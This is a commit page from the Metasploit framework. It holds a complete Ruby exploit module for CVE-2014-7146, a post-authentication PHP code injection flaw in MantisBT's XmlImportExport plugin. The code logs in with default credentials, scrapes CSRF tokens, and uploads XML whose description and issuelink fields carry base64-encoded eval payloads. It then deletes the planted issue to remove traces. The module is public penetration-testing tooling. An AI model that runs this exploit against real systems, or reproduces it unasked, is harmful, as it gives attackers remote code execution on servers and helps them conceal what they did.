Land #4159, MantisBT PHP code execution by @itseco
Christian Mehlmauer
commit
28135bcb09
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
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'Description' => %q{
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This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
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The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
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This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Egidio Romano', # discovery http://karmainsecurity.com
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'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
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],
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'References' =>
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[
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['CVE', '2014-7146']
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],
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['Generic (PHP Payload)', {}]],
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'DisclosureDate' => 'Nov 8 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
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OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
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OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
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], self.class)
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end
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def check
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res = exec_php('phpinfo(); die();', true)
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if res && res.body =~ /This program makes use of the Zend/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Unknown
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end
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end
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def do_login()
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print_status('Checking access to MantisBT...')
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'login_page.php'),
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'vars_get' => {
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'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
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}
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})
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fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200
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session_cookie = res.get_cookies
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print_status('Logging in...')
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'login.php'),
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'cookie' => session_cookie,
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'vars_post' => {
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'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
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'username' => datastore['username'],
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'password' => datastore['password'],
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'secure_session' => 'on'
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}
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})
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fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
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fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
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"#{session_cookie} #{res.get_cookies}"
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end
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def upload_xml(payload_b64, rand_text, cookies, is_check)
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if is_check
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timeout = 20
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else
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timeout = 3
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end
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rand_num = Rex::Text.rand_text_numeric(1, 9)
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print_status('Checking XmlImportExport plugin...')
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'plugin.php'),
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'cookie' => cookies,
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'vars_get' => {
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'page' => 'XmlImportExport/import'
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}
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})
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unless res && res.code == 200
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print_error('Error trying to access XmlImportExport/import page...')
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return false
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end
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# Retrieving CSRF token
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if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
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csrf_token = Regexp.last_match[1]
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else
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print_error('Error trying to read CSRF token')
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return false
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end
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# Retrieving default project id
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if res.body =~ /name="project_id" value="([0-9]+)"/
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project_id = Regexp.last_match[1]
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else
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print_error('Error trying to read project id')
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return false
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end
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# Retrieving default category id
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if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/
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category_id = Regexp.last_match[1]
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category_name = Regexp.last_match[2]
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else
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print_error('Error trying to read default category')
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return false
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end
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# Retrieving default max file size
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if res.body =~ /name="max_file_size" value="([0-9]+)"/
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max_file_size = Regexp.last_match[1]
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else
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print_error('Error trying to read default max file size')
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return false
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end
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# Retrieving default step
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if res.body =~ /name="step" value="([0-9]+)"/
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step = Regexp.last_match[1]
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else
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print_error('Error trying to read default step value')
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return false
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end
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xml_file = %Q|
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<mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1">
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<issue>
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<id>#{ rand_num }</id>
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<project id="#{ project_id }">#{ rand_text }</project>
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<reporter id="#{ rand_num }">#{ rand_text }</reporter>
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<priority id="30">normal</priority>
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<severity id="50">minor</severity>
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<reproducibility id="70">have not tried</reproducibility>
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<status id="#{ rand_num }">new</status>
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<resolution id="#{ rand_num }">open</resolution>
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<projection id="#{ rand_num }">none</projection>
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<category id="#{ category_id }">#{ category_name }</category>
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<date_submitted>1415492267</date_submitted>
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<last_updated>1415507582</last_updated>
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<eta id="#{ rand_num }">none</eta>
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<view_state id="#{ rand_num }">public</view_state>
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<summary>#{ rand_text }</summary>
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<due_date>1</due_date>
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<description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>
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</issue>
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</mantis>
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data = Rex::MIME::Message.new
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data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"")
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data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"")
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data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"")
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data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"")
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data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"")
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data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"")
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data.add_part("link", nil, nil, "form-data; name=\"fallback\"")
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data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"")
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data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
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data_post = data.to_s
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print_status('Sending payload...')
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return send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
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'cookie' => cookies,
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'ctype' => "multipart/form-data; boundary=#{ data.bound }",
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'data' => data_post
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}, timeout)
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end
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def exec_php(php_code, is_check = false)
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# remove comments, line breaks and spaces of php_code
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payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
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# clean b64 payload
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while Rex::Text.encode_base64(payload_clean) =~ /=/
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payload_clean = "#{ payload_clean } "
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end
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payload_b64 = Rex::Text.encode_base64(payload_clean)
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rand_text = Rex::Text.rand_text_alpha(5, 8)
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cookies = do_login()
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res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
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# When a meterpreter session is active, communication with the application is lost.
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# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
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cookies = do_login()
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print_status("Deleting issue (#{ rand_text })...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
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'cookie' => cookies
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})
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unless res && res.code == 200
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print_error('Error trying to access My View page')
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return false
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end
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if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
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issue_id = Regexp.last_match[1]
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else
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print_error('Error trying to retrieve issue id')
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return false
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end
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
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'cookie' => cookies,
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'vars_get' => {
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'bug_arr[]' => issue_id,
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'action' => 'DELETE',
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},
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})
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if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
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csrf_token = Regexp.last_match[1]
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else
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print_error('Error trying to retrieve CSRF token')
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return false
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end
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
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'cookie' => cookies,
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'vars_post' => {
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'bug_actiongroup_DELETE_token' => csrf_token,
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'bug_arr[]' => issue_id,
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'action' => 'DELETE',
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},
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})
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if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
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print_status("Issue number (#{ issue_id }) removed")
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else
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print_error("Removing issue number (#{ issue_id }) has failed")
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return false
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end
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# if check return the response
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if is_check
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return res_payload
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else
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return true
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end
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end
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def exploit
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unless exec_php(payload.encoded)
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fail_with(Failure::Unknown, 'Exploit failed, aborting.')
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end
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end
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end
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